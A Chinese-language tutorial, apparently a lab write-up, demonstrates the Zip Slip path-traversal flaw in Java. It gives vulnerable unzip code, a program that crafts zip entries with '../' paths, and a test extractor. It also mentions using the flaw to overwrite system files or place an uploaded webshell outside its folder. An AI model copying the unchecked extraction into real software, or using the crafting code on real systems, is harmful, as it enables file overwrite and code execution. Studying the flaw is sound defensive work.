路径遍历:ZIP条目覆盖
程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历
例如:以下代码示例解压zip文件。
static final int BUFFER = 512;
// . ..
BufferedOutputStream dest = null;
FileInputStream fis = new FileInputStream(filename);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
String fileName = entry.getName();
if (entry.isDirectory()){
new File(fileName ).mkdir();
continue;
}
// write the files to the disk
FileOutputStream fos = new FileOutputStream(fileName );
dest = new BufferedOutputStream(fos, BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1) {
dest.write(data, 0, count);
}
dest.flush();
dest.close();
}
...
zis.close();
代码示例未验证zipEntry.getName(),如果zip文件放在/tmp/目录中,zip条目为../etc/hosts,且应用程序在必要的权限下运行,则会导致系统的hosts文件被覆盖。
我们进行测试该漏洞的时候需要有一个“特殊的”zip文件,条目带有../。然后再操作系统中是不能直接创建这样的zip文件的。故需要利用程序制作这样的zip。
如下图所示,有一个test和test1两个文件夹,现在的实验是希望将test下的test1.txt进行压缩成一个条目中带有../的zip文件,再利用程序解压该文件夹时会覆盖test1中的test1.txt。(该漏洞实际利用过程中1.可以覆盖文件2.上传包含一句话木马的zip文件解压后所在文件夹不会被解析,可以利用此方法解压到其他文件夹中)
对test.txt文件进行压缩的程序如下
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
/**
* 学习使用java.util.zip压缩文件或者文件夹
* @author lhm
*
*/
public class test2 {
/**
* @param args 主方法
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
//第一个参数是需要压缩的源路径;第二个参数是压缩文件的目的路径,这边需要将压缩的文件名字加上去
compress("C:\\Users/DELL/Desktop/test/test/test1.txt","C:/Users/DELL/Desktop/test/test/test1.zip");
}
/**s
* 压缩文件
* @param srcFilePath 压缩源路径
* @param destFilePath 压缩目的路径
*/
public static void compress(String srcFilePath, String destFilePath) {
//
File src = new File(srcFilePath);
if (!src.exists()) {
throw new RuntimeException(srcFilePath + "不存在");
}
File zipFile = new File(destFilePath);
try {
FileOutputStream fos = new FileOutputStream(zipFile);
ZipOutputStream zos = new ZipOutputStream(fos);
String baseDir = "../test1/";
compressbyType(src, zos, baseDir);
zos.close();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 按照原路径的类型就行压缩。文件路径直接把文件压缩,
* @param src
* @param zos
* @param baseDir
*/
private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {
if (!src.exists())
return;
System.out.println("压缩路径" + baseDir + src.getName());
//判断文件是否是文件,如果是文件调用compressFile方法,如果是路径,则调用compressDir方法;
if (src.isFile()) {
//src是文件,调用此方法
compressFile(src, zos, baseDir);
} else if (src.isDirectory()) {
//src是文件夹,调用此方法
compressDir(src, zos, baseDir);
}
}
/**
* 压缩文件
*/
private static void compressFile(File file, ZipOutputStream zos,String baseDir) {
if (!file.exists())
return;
try {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
ZipEntry entry = new ZipEntry(baseDir + file.getName());
zos.putNextEntry(entry);
int count;
byte[] buf = new byte[1024];
while ((count = bis.read(buf)) != -1) {
zos.write(buf, 0, count);
}
bis.close();
} catch (Exception e) {
// TODO: handle exception
}
}
/**
* 压缩文件夹
*/
private static void compressDir(File dir, ZipOutputStream zos,String baseDir) {
if (!dir.exists())
return;
File[] files = dir.listFiles();
if(files.length == 0){
try {
zos.putNextEntry(new ZipEntry(baseDir + dir.getName()+File.separator));
} catch (IOException e) {
e.printStackTrace();
}
}
for (File file : files) {
compressbyType(file, zos, baseDir + dir.getName() + File.separator);
}
}}
能成功压缩
在利用如下程序进行解压测试是否能覆盖其他目录中的文件
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import org.apache.tools.zip.ZipEntry;
import org.apache.tools.zip.ZipFile;
public class test {
public static void main(String[] args) throws IOException {
//解压zip的包
String fileAddress = "C:/Users/DELL/Desktop/test/test/test1.zip";
//zip文件解压路径
String unZipAddress = "C:/Users/DELL/Desktop/test/test/";
//去目录下寻找文件
File file = new File(fileAddress);
ZipFile zipFile = null;
try {
zipFile = new ZipFile(file,"GBK");//设置编码格式
} catch (IOException exception) {
exception.printStackTrace();
System.out.println("解压文件不存在!");
}
Enumeration e = zipFile.getEntries();
while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
if(zipEntry.isDirectory()) {
String name = zipEntry.getName();
System.out.println("zipEntry.getName():"+name);
name = name.substring(0,name.length()-1);
File f = new File(unZipAddress + name);
f.mkdirs();
} else {
File f = new File(unZipAddress + zipEntry.getName());
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = 0;
byte[] b = new byte[1024];
while((length=is.read(b, 0, 1024))!=-1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
}
if (zipFile != null) {
zipFile.close();
}
//file.deleteOnExit();
// 解压完以后将压缩包删除
}
}